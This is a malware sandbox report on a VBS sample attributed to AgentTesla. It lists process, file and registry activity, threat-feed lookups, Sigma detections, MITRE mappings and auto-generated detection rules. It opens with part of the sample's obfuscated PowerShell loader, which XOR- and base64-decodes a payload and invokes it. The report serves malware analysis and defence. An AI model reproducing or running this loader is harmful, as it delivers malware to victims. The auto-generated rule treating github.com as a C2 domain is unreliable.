dU9xYgksdFR4UGdxTmAJB0VGVH5TQjgZSF5HdVpDZGYUTRQsHxd0BgY/YkowGmAMS3hXSHgAAjkdRRcXdAEKNxlEIwwpHxQxHgY/YkowGld3Q2RUYVVRR0EAOBgaOhIOSFIFN3JUAg4xGwY7HQ1PUiUYUEJ3CTAUDB03JR8TNnVDYxB1YlJmWkBlTlV4T1EwflVqEztWQ2ReWWNYaVpQYhILcVRXY0klCk9wRgZZXEh1EUZvZjZPKx0wLzAdJR8TNhIGNx0=';$btJm8D=0x7A12-0x7494;$idVeQm4=@();foreach($c in [char[]]$i1cdN4){$idVeQm4+=[byte]($c-bxor0xAA)};$oM0Q3Oei=$idVeQm4;$idVeQm4=@();foreach($c in [char[]]$i1cdN4){$idVeQm4+=[byte]($c-bxor0x55)};$eMjFtBeC=$idVeQm4;$idVeQm4oldR='';$i=0;for($j=0;$j-lt$eMrFju7Z6.Length;$j+=2){$idVeQm4oldR+=[char](([Convert]::ToInt32($eMrFju7Z6.Substring($j,2),16))-bxor$oM0Q3Oei[$i++%$oM0Q3Oei.Length])};$kW9vai9Z=$idVeQm4oldR;$idVeQm4oldB=[Convert]::FromBase64String([regex]::Replace($jS5Rwki, '$idVeQm4', ''));$idVeQm4oldR='';$i=0;for($j=0;$j-lt$idVeQm4oldB.Length;$j++){$idVeQm4oldR+=[char]($idVeQm4oldB[$j]-bxor$eMjFtBeC[$i++%$eMjFtBeC.Length])};$ww4tfjSS3=$idVeQm4oldR;$vvXRtigQ=$kW9vai9Z+$ww4tfjSS3;.($env:ComSpec[4,26,25]-join'') $vvXRtigQ

Parent

PID 3952 · wscript.exe

Children

File operations10

createC:\Users\user\AppData\Local\Temp\r15hlkvu.0.cs

createC:\Users\user\AppData\Local\Temp\r15hlkvu.dll

createC:\Users\user\AppData\Local\Temp\r15hlkvu.cmdline

createC:\Users\user\AppData\Local\Temp\r15hlkvu.out

createC:\Users\user\AppData\Local\Temp\r15hlkvu.err

deleteC:\Users\user\AppData\Local\Temp\r15hlkvu.0.cs

deleteC:\Users\user\AppData\Local\Temp\r15hlkvu.cmdline

deleteC:\Users\user\AppData\Local\Temp\r15hlkvu.out

deleteC:\Users\user\AppData\Local\Temp\r15hlkvu.err

deleteC:\Users\user\AppData\Local\Temp\r15hlkvu.dll

Registry operations7

createSoftware\Microsoft\Tracing

createSoftware\Microsoft\Tracing\powershell_RASAPI32

createSoftware\Microsoft\Tracing\powershell_RASMANCS

createSOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload

createTenantRestrictions\Payload

createSOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections

create\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters

Dropped files1

dropC:\Users\user\AppData\Local\Temp\r15hlkvu.dll

Not attributed to any process

2 kinds

These operations were captured but carry no pid this tree could match, so they are not shown against any node above.

File operations5

Registry operations29

0Mechanisms found

90Methods checked

0ATT&CK techniques

NONEHighest severity

Established mechanisms

clean

No persistence established

None of the 90 auto-start methods below were established during this run.

Detection coverage

0 / 90

Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean.

Logon & Startup 22 clean

Active Setup Installed Component T1547.014 clean
Explorer Delay-Load Object T1547.001 clean
Explorer Run Key T1547.001 clean
Explorer SharedTaskScheduler T1547.001 clean
Group Policy Extension DLL T1547.004 clean
Group Policy Run Key T1547.001 clean
Logon Script T1037.001 clean
RDP WDS Startup Program T1547.001 clean
Registry Run Key T1547.001 clean
Registry RunEx Key T1547.001 clean
Registry RunOnce Key T1547.001 clean
Registry RunOnceEx Key T1547.001 clean
Registry RunServices Key T1547.001 clean
Startup Folder Item T1547.001 clean
Startup Folder Redirection T1547.001 clean
Terminal Services Initial Program T1547.001 clean
Winlogon GINA DLL T1547.004 clean
Winlogon MPNotify Value T1547.004 clean
Winlogon Notify Package T1547.004 clean
Winlogon Shell Value T1547.004 clean
Winlogon Taskman Value T1547.004 clean
Winlogon Userinit Value T1547.004 clean

Services & Tasks 9 clean

BITS Job T1197 clean
Print Monitor DLL T1547.010 clean
Print Processor DLL T1547.012 clean
Scheduled Task T1053.005 clean
Scheduled Task Registry Implant T1053.005 clean
Service Control Manager Security Descriptor T1574.011 clean
Service DLL Hijack T1543.003 clean
Time Provider DLL T1547.003 clean
Windows Service Creation T1543.003 clean

Execution Hijack 17 clean

.NET Managed Debugger T1546.012 clean
Accessibility Tool Hijack T1546.008 clean
AeDebug Postmortem Debugger T1546.012 clean
App Paths Hijack T1546.012 clean
Application Shim Database T1546.011 clean
Boot Verification Program T1547.002 clean
Command Processor AutoRun T1546.011 clean
Explorer Load Value T1547.001 clean
Explorer MyComputer Tool Hijack T1546.001 clean
Registry Image File Execution Options T1546.012 clean
Screensaver Hijack T1546.002 clean
Setup ErrorHandler Script T1546 clean
Shell Open Command Hijack T1546.001 clean
SilentProcessExit Monitor T1546.012 clean
Telemetry Controller Command T1546.015 clean
WER ReflectDebugger T1546.012 clean
Windows Error Reporting Debugger T1546.012 clean

DLL Load Order 12 clean

.NET CLR Profiler DLL T1574.012 clean
.NET Startup Hook DLL T1574 clean
AppCert DLLs T1546.009 clean
AppInit DLLs T1546.010 clean
AutodialDLL Winsock Injection T1546.006 clean
DLL Search-Order Hijack T1574.001 T1574.002 clean
DNS Server Plugin DLL T1574.001 clean
HTML Help Helper DLL T1546 clean
KnownDLLs Manipulation T1574.001 clean
Natural Language Platform DLL Override T1546 clean
Netsh Helper DLL T1546.007 clean
Winsock Layered Service Provider T1546.006 clean

COM & Browser 6 clean

Browser Extension T1176 clean
Browser Helper Object T1176 clean
COM Server Hijack T1546.015 clean
HTML Help COM Object Hijack T1546.015 clean
Shell Context Menu Handler T1546.001 clean
Shell Extension Handler T1546.001 clean

Security Providers & Accounts 11 clean

Account RID Hijack T1098 clean
AMSI Provider T1562.001 clean
Credential Provider T1547.014 clean
DSRM Admin Logon Backdoor T1556 clean
Hidden Local Account T1136.001 clean
LSA Authentication Package T1547.002 clean
LSA Extension DLL T1547.005 clean
LSA Notification Package T1547.005 clean
LSA Security Package T1547.005 clean
Network Provider DLL T1556.008 clean
Security Support Provider T1547.005 clean

Scripting & Applications 9 clean

Netsh Port Proxy T1090.001 clean
Office Add-in T1137.006 clean
Office Executable Sideload T1574.002 clean
Office Startup Template T1137.001 clean
Office Test Key T1137.002 clean
Power Automate Flow T1546 clean
PowerShell Profile T1546.013 clean
Windows Terminal Startup Action T1546 clean
WMI Event Subscription T1546.003 clean

Boot & Firmware 4 clean

BootExecute Native Image T1547.002 clean
PlatformExecute Native Image T1547.002 clean
SetupExecute Native Image T1547.002 clean
UEFI / Bootkit Artifact T1542.003 T1542.001 clean

File activity summary

create 7 write 0 modify 4 delete 5 rename 0

Dropped files

2 payloads

Path	SHA-256	Size	Process	Time	Download
C:\Users\user\AppData\Local\Temp\r15hlkvu.dll	-	-	powershell.exe pid 3048	-	-
C:\Users\user\AppData\Local\Temp\r15hlkvu.dll	-	-	csc.exe pid 4684	-	-

File & registry ops

16 file · 27 registry · sample scope

Files (16) Registry (27)

Operation	Target	Process
create	C:\Users\user\AppData\Local\Temp\r15hlkvu.0.cs same path	powershell.exe pid 3048	2026-09-07 21:45:20.512
create	C:\Users\user\AppData\Local\Temp\r15hlkvu.dll	powershell.exe pid 3048	-
create	C:\Users\user\AppData\Local\Temp\r15hlkvu.dll	csc.exe pid 4684	-
create	C:\Users\user\AppData\Local\Temp\r15hlkvu.dll same path	-	2026-09-07 21:45:20.512
create	C:\Users\user\AppData\Local\Temp\r15hlkvu.cmdline same path	powershell.exe pid 3048	2026-09-07 21:45:20.512
create	C:\Users\user\AppData\Local\Temp\r15hlkvu.out same path	powershell.exe pid 3048	2026-09-07 21:45:20.512
create	C:\Users\user\AppData\Local\Temp\r15hlkvu.err same path	powershell.exe pid 3048	2026-09-07 21:45:20.512
delete	C:\Users\user\AppData\Local\Temp\r15hlkvu.0.cs same path	powershell.exe pid 3048	2026-09-07 21:45:20.653
delete	C:\Users\user\AppData\Local\Temp\r15hlkvu.cmdline same path	powershell.exe pid 3048	2026-09-07 21:45:20.653
delete	C:\Users\user\AppData\Local\Temp\r15hlkvu.out same path	powershell.exe pid 3048	2026-09-07 21:45:20.700
delete	C:\Users\user\AppData\Local\Temp\r15hlkvu.err same path	powershell.exe pid 3048	2026-09-07 21:45:20.700
delete	C:\Users\user\AppData\Local\Temp\r15hlkvu.dll same path	powershell.exe pid 3048	2026-09-07 21:45:20.700
modify	C:\Users\user\AppData\Local\Temp\r15hlkvu.0.cs same path	-	2026-09-07 21:45:20.512
modify	C:\Users\user\AppData\Local\Temp\r15hlkvu.cmdline same path	-	2026-09-07 21:45:20.512
modify	C:\Users\user\AppData\Local\Temp\r15hlkvu.dll same path	-	2026-09-07 21:45:20.653
modify	C:\Users\user\AppData\Local\Temp\r15hlkvu.out same path	-	2026-09-07 21:45:20.653
create	Software\Microsoft\Windows Script Host\Settings certificate store	wscript.exe pid 3952	-
create	Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing certificate store	wscript.exe pid 3952	-
create	Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ certificate store	wscript.exe pid 3952	-
create	Software\Microsoft\SystemCertificates\CA certificate store	powershell.exe pid 3048	-
create	Software\Policies\Microsoft\SystemCertificates\CA certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\EnterpriseCertificates\CA certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\SystemCertificates\Disallowed certificate store	powershell.exe pid 3048	-
create	Software\Policies\Microsoft\SystemCertificates\Disallowed certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\EnterpriseCertificates\Disallowed certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\SystemCertificates\Root certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\SystemCertificates\AuthRoot certificate store	powershell.exe pid 3048	-
create	Software\Policies\Microsoft\SystemCertificates\Root certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\EnterpriseCertificates\Root certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\SystemCertificates\SmartCardRoot certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\SystemCertificates\TrustedPeople certificate store	powershell.exe pid 3048	-
create	Software\Policies\Microsoft\SystemCertificates\TrustedPeople certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\EnterpriseCertificates\TrustedPeople certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\SystemCertificates\trust certificate store	powershell.exe pid 3048	-
create	Software\Policies\Microsoft\SystemCertificates\trust certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\EnterpriseCertificates\trust certificate store	powershell.exe pid 3048	-
create	Software\Microsoft\Tracing	powershell.exe pid 3048	-
create	Software\Microsoft\Tracing\powershell_RASAPI32	powershell.exe pid 3048	-
create	Software\Microsoft\Tracing\powershell_RASMANCS	powershell.exe pid 3048	-
create	SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload	powershell.exe pid 3048	-
create	TenantRestrictions\Payload	powershell.exe pid 3048	-
create	SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe pid 3048	-
create	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters	powershell.exe pid 3048	-
create	Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters	conhost.exe pid 2420	-
setvalue	Software\Microsoft\Windows Script Host\Settings ActiveDebugging = 1 read back	-	-
setvalue	Software\Microsoft\Windows Script Host\Settings DisplayLogo = 1 read back	-	-
setvalue	Software\Microsoft\Windows Script Host\Settings SilentTerminate = 0 read back	-	-
setvalue	Software\Microsoft\Windows Script Host\Settings UseWINSAFER = 1 read back	-	-
setvalue	Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing State = 146432 read back	-	-
setvalue	Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ (default) = read back	-	-
setvalue	Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ProxyByPass = 1 read back	-	-
setvalue	Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntranetName = 1 read back	-	-
setvalue	Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UNCAsIntranet = 1 read back	-	-
setvalue	Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ AutoDetect = 0 read back	-	-
setvalue	Software\Microsoft\Tracing EnableConsoleTracing = 0 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASAPI32 EnableFileTracing = 0 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASAPI32 EnableAutoFileTracing = 0 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASAPI32 EnableConsoleTracing = 0 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASAPI32 FileTracingMask = -65536 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASAPI32 ConsoleTracingMask = -65536 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASAPI32 MaxFileSize = 1048576 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASAPI32 FileDirectory = C:\Windows\tracing read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASMANCS EnableFileTracing = 0 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASMANCS EnableAutoFileTracing = 0 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASMANCS EnableConsoleTracing = 0 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASMANCS FileTracingMask = -65536 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASMANCS ConsoleTracingMask = -65536 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASMANCS MaxFileSize = 1048576 read back	-	-
setvalue	Software\Microsoft\Tracing\powershell_RASMANCS FileDirectory = C:\Windows\tracing read back	-	-
setvalue	SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections SavedLegacySettings = <56 bytes> read back	-	-
setvalue	SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections DefaultConnectionSettings = <56 bytes> read back	-	-
setvalue	SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections WinHttpSettings = <20 bytes> read back	-	-
setvalue	Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters TrapPollTimeMilliSecs = 15000 read back	-	-

6 reported a hit 14 answered no 1 could not answer 2 had nothing to check

6Sources with a hit

21Sources queriedof 23 available

486.1kFeed records

1Could not answer

File reputation

3 of 7 listed

Source	Checks	Result	Detail	Feed
filescan.io	File hash	2/17 engines	-	live lookup
MalwareBazaar	File hash	AgentTesla	vbs	live lookup
MalwareBazaar hash feed	File hash	listed	malwarebazaar: AgentTesla	2,535 records 57 minutes ago
VirusTotal	File hash	cannot access	rate limited (free-tier quota)	live lookup
MalwareBazaar ransomware feed	File hash	clean	not in feed	8,271 records 5 hours ago
ThreatFox hash IOCs	File hash	clean	not in feed	1,632 records 57 minutes ago
URLhaus payload hashes	File hash	clean	not in feed	1,474 records 57 minutes ago

Hash lookups only - the sample itself is never uploaded to any third party.

Network indicators

2 of 8 listed

Source	Checks	Result	Detail	Feed
ThreatFox	IP / domain / URL	1 indicator	github[.]com	1,632 records 57 minutes ago
URLhaus	IP / domain / URL	1 indicator	github[.]com	5,155 records 57 minutes ago
blocklist.de	IP / domain / URL	clean	1 observed indicator, none listed	24.5k records 57 minutes ago
CINS Army	IP / domain / URL	clean	1 observed indicator, none listed	15k records 57 minutes ago
Emerging Threats	IP / domain / URL	clean	1 observed indicator, none listed	580 records 57 minutes ago
Feodo Tracker	IP / domain / URL	clean	1 observed indicator, none listed	5 records 57 minutes ago
IPsum	IP / domain / URL	clean	1 observed indicator, none listed	17.7k records 57 minutes ago
Phishing.Database	IP / domain / URL	clean	1 observed indicator, none listed	391.1k records 5 hours ago

TLS fingerprints

0 clear

Source	Checks	Result	Detail	Feed
abuse.ch JA3 blocklist	JA3 / JA4	not checked	no TLS client fingerprint observed	97 records 17 hours ago
SSL blocklist	JA3 / JA4	not checked	no TLS client fingerprint observed	10.7k records 57 minutes ago

Detection rules

1 of 2 listed

Source	Checks	Result	Detail	Feed
Sigma rules	Behavior log	7 matches	Csc.EXE Execution Form Potentially Suspicious Parent, Invoke-Obfuscat…	2,275 records 23 hours ago
YARA rules	Sample content	clean	no rule matched	110 records 58 minutes ago

Tooling catalogs

4 clear

Source	Checks	Result	Detail	Feed
LOLBAS	Process image paths	clean	5 process image paths, none masqueraded	244 records 58 minutes ago
LOLBootloaders	File hash	clean	not a known vulnerable bootloader	520 records 57 minutes ago
LOLDrivers	File hash	clean	not a known vulnerable driver	2,306 records 57 minutes ago
LOLRMM	Names and domains	clean	7 name/domain indicators checked, no remote-management tooling	322 records 57 minutes ago

IOC reputation

URLhaus / ThreatFox

Indicator	Source	Threat
github[.]com	ThreatFox	Unknown malware, Unknown malware, Unknown malware, Unknown malware, Unknown mal…

Analyst narrative

The analysis of the sample indicates that it successfully executed within the sandbox environment. The following kill-chain elements were observed: 1. **Initial Access**: The sample appears to have initiated a connection to `github.com`, which may suggest an attempt to retrieve additional resources or communicate with a command and control (C2) server. 2. **Execution**: The sample executed PowerShell commands, utilizing `powershell.exe` and `csc.exe` to perform operations. It dropped two executable files in the temporary directory, specifically `r15hlkvu.dll` and `r15hlkvu.0.cs`, indicating an execution of potentially malicious code. 3. **Persistence**: There were no specific persistence mechanisms observed in the analysis. However, the creation of registry keys related to tracing and internet settings could imply an attempt to maintain a presence or evade detection. 4. **Defense Evasion**: The sample demonstrated behavior consistent with evasion techniques, such as the use of obfuscation in PowerShell commands and the creation of temporary files that were subsequently deleted. This suggests an effort to avoid detection by security mechanisms. 5. **Command and Control (C2)**: The DNS query to `github.com` may indicate a potential C2 communication or resource retrieval, although no further network activity was captured in the analysis. 6. **Impact**: The impact of the sample is not fully clear due to the lack of further observable malicious actions beyond the initial execution and file drops. However, the presence of dropped executables and registry modifications suggests potential for further malicious activity. **Verdict Rationale**: The sample exhibited behavior consistent with malicious activity, including the execution of PowerShell commands, file drops, and potential C2 communication. While persistence mechanisms were not explicitly identified, the overall behavior aligns with known malicious patterns. Therefore, the sample is considered potentially harmful based on the observed evidence.

Evasion analysis

No evasive checkpoints detected.

2 malicious 3 suspicious 1 info

Attribution:AgentTesla

Network indicators

Severity	Type	Indicator	Description
info	domain	github.com	Observed during analysis

File indicators

Severity	Type	Indicator	Description
malicious	sample_sha256	bb5f221bcaacb6774173084dd24d459f373b28474414b87f97490e24e50451ea	Submitted sample (SHA256)
malicious	sample_md5	bbb4d9af6cc994c500e60b584f665a73	Submitted sample (MD5)
suspicious	dropped_file	C:\Users\user\AppData\Local\Temp\r15hlkvu.dll	Executable written to disk during execution
suspicious	dropped_file	C:\Users\user\AppData\Local\Temp\r15hlkvu.dll	Executable written to disk during execution

Registry indicators

Severity	Type	Indicator	Description
suspicious	registry_key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters	Autostart / persistence key

MITRE ATT&CK

16 techniques

Execution

Csc.EXE Execution Form Potentially Suspicious Parent

T1059.005

Execution

Csc.EXE Execution Form Potentially Suspicious Parent

T1059.007

Execution

Csc.EXE Execution Form Potentially Suspicious Parent

T1218.005

Execution

Csc.EXE Execution Form Potentially Suspicious Parent

T1027.004

Execution

Invoke-Obfuscation Obfuscated IEX Invocation

T1027

Execution

Invoke-Obfuscation Obfuscated IEX Invocation

T1059.001

Execution

Potential PowerShell Command Line Obfuscation

T1027

Execution

Potential PowerShell Command Line Obfuscation

T1059.001

Execution

Base64 Encoded PowerShell Command Detected

T1027

Execution

Base64 Encoded PowerShell Command Detected

T1140

Execution

Base64 Encoded PowerShell Command Detected

T1059.001

Dynamic .NET Compilation Via Csc.EXE

T1027.004

Execution

Suspicious PowerShell Invocation From Script Engines

T1059.001

Execution

Suspicious XOR Encoded PowerShell Command

T1059.001

Execution

Suspicious XOR Encoded PowerShell Command

T1140

Execution

Suspicious XOR Encoded PowerShell Command

T1027

Sigma detections

7 matches of 2275 rules

Level	Detection	Log source	ATT&CK	Evidence
High	Csc.EXE Execution Form Potentially Suspicious Parent Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.	process_creation	T1059.005 T1059.007 T1218.005 T1027.004	process pid=4684
High	Invoke-Obfuscation Obfuscated IEX Invocation Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block	process_creation	T1027 T1059.001	process pid=3048
High	Potential PowerShell Command Line Obfuscation Detects the PowerShell command lines with special characters	process_creation	T1027 T1059.001	process pid=3048
High	Base64 Encoded PowerShell Command Detected Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string	process_creation	T1027 T1140 T1059.001	process pid=3048
Medium	Dynamic .NET Compilation Via Csc.EXE Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.	process_creation	T1027.004	process pid=4684
Medium	Suspicious PowerShell Invocation From Script Engines Detects suspicious powershell invocations from interpreters or unusual programs	process_creation	T1059.001	process pid=3048
Medium	Suspicious XOR Encoded PowerShell Command Detects presence of a potentially xor encoded powershell command	process_creation	T1059.001 T1140 T1027	process pid=3048

Generated rules

Sigma: auto_file_2374_sigma_reg

Auto-generated

title: Auto-generated registry behavior rule (sandbox scan 2374)
id: sandbox-auto-2374-reg
status: experimental
description: Auto-generated from sandbox scan 2374
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains:
            - 'Software\Microsoft\Tracing'
            - 'Software\Microsoft\Tracing\powershell_RASAPI32'
            - 'Software\Microsoft\Tracing\powershell_RASMANCS'
            - 'SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload'
            - 'TenantRestrictions\Payload'
            - 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections'
            - '\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters'
            - 'Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters'
    condition: selection
level: medium

Suricata/Snort: auto_file_2374_suricata

Auto-generated

alert dns any any -> any any (msg:"sandbox auto scan 2374 C2 domain github.com"; dns.query; content:"github.com"; sid:15976768; rev:1;)

YARA: auto_file_2374_yara

Auto-generated

rule auto_file_2374_yara
{
    meta:
        description = "Auto-generated from scan 2374"
        author = "sandbox auto-generator"
        anchors = "5 independent regions"
    strings:
        $s0 = "AhrIjgnoS = TimeSerial(8,9,7)" ascii fullword
        $s1 = "mkfjgpnFo = TimeSerial(9,7,7)" ascii fullword
        $s2 = "FAfcpmhfn = TimeSerial(9,9,8)" ascii fullword
        $s3 = "ojdokprSI = TimeSerial(7,9,8)" ascii fullword
        $s4 = "opjIFooik = TimeSerial(9,7,7)" ascii fullword
    condition:
        filesize < 100340 and all of them
}

Extracted files

What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.

No extracted files

Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.

Export & download

/s/2374

ATT&CK Navigator STIX 2.1 MISP IOCs PCAP Get Sample

The report downloads - PCAP and the SIEM/TIP exports - are a paid-plan feature. Sign in with a paid plan to export this report.

AI analysis report

An enterprise report with an AI-written executive summary, threat assessment, kill chain, and recommendations, plus the derived evidence (verdict, MITRE ATT&CK, network, file modifications, dropped files, IOCs) and screenshots. The AI narrative is built from derived analysis data only, so the raw sample never leaves the host (no-upload and AI-boundary preserved).

Public analyses of this file

1 run

Submitted	Environment	Verdict	Score
2026-09-07 21:42 Shown below	Static analysis	Malicious	100/100

Why this verdict

Analysis layers

Sample

Run conditions

Detection signatures

Structure

Sections & resources

Signatures & packing

Strings

Code

File content

Extracted strings

Nothing in this view

Screen recording

Behavior summary

Living-off-the-land binaries

Deobfuscated scripts

DNS queries

Also watched

Process tree

Family itinerary file.vbs

Attributed activity

Not attributed to any process

Established mechanisms

No persistence established

Detection coverage

File activity summary

Dropped files

File & registry ops

File reputation

Network indicators

TLS fingerprints

Detection rules

Tooling catalogs

IOC reputation

Analyst narrative

Evasion analysis

Network indicators

File indicators

Registry indicators

MITRE ATT&CK

Sigma detections

Generated rules

Sigma: auto_file_2374_sigma_reg

Suricata/Snort: auto_file_2374_suricata

YARA: auto_file_2374_yara

Extracted files

No extracted files

Export & download

AI analysis report

Public analyses of this file